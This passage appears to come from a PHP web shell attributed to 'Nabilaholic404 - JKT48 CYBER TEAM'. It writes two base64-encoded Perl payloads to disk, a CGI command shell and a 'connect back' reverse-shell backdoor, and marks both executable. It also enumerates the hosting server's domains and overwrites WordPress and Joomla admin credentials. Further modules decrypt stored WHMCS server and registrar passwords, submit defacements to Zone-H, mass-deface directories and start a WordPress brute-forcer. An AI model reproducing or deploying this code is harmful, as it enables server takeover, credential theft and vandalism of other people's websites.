hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>Local Domain Viewer</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>Wordpress Reset Password</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
/////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nabilaholic404" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo '</center>';
}
//////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><title>Nabilaholic Here !</title><br>Hacked by Nabilaholic404 - JKT48 CYBER TEAM</textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
///////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >WPBForce</font><br>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
